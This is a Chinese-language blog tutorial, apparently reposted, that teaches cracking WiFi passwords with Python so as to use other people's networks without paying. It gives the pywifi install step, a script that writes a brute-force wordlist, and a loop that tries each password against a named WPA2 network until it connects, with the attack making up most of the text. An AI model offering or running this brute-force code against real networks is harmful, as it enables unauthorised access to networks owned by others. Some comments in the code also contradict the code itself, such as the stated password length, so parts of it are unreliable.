【Python】Python破解WiFi密码 | 您所在的位置:网站首页 › 破解wifi密码怎么弄出来 › 【Python】Python破解WiFi密码 |
不想交网费?不想交,那然我们一起蹭网吧!(不过劝你别用,一是费时间,二是网速也慢😂) 言归正传,首先你得有一台电脑,一个Python,还有pywifi。 1.下载pywifi 按下win+r键,会弹出这个窗口 然后输入cmd,会弹出来这个 然后输入 pip install pywifi就好了 2.编辑代码(这里我用的是pycharm) 代码如下 import itertools as its words="1234567890qwertyuiopasdfghjklzxcvbnm" #生成密码本的位数,五位数,repeat=5 r=its.product(words,repeat=3) dic=open(r"E:\密码本.txt","a")#记得改路径 for i in r: dic.write("".join(i)) dic.write("".join("\n")) print(i) dic.close() print("密码本已生成") 3.校对密码
import pywifi from pywifi import const import time import datetime
def wifiConnect(pwd): wifi=pywifi.PyWiFi() ifaces=wifi.interfaces()[0] ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() if wifistatus ==const.IFACE_DISCONNECTED: profile=pywifi.Profile() #要连接WiFi的名称 profile.ssid="jiayi" profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher=const.CIPHER_TYPE_CCMP #调用密码 profile.key=pwd #删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的连接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi连接时间 time.sleep(3) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接")
#读取密码本 def readPassword(): print("开始破解:") #密码本路径 path="E:\密码本.txt" #打开文件 file=open(path,"r") while True: try: #一行一行读取 pad=file.readline() bool=wifiConnect(pad)
if bool: print("密码已破解: ",pad) print("WiFi已自动连接!!!") break else: #跳出当前循环,进行下一次循环 print("密码破解中....密码校对: ",pad) except: continue 好了,去试试吧,就是时间比较久 拜拜👋🏻
|
CopyRight 2018-2019 实验室设备网 版权所有 |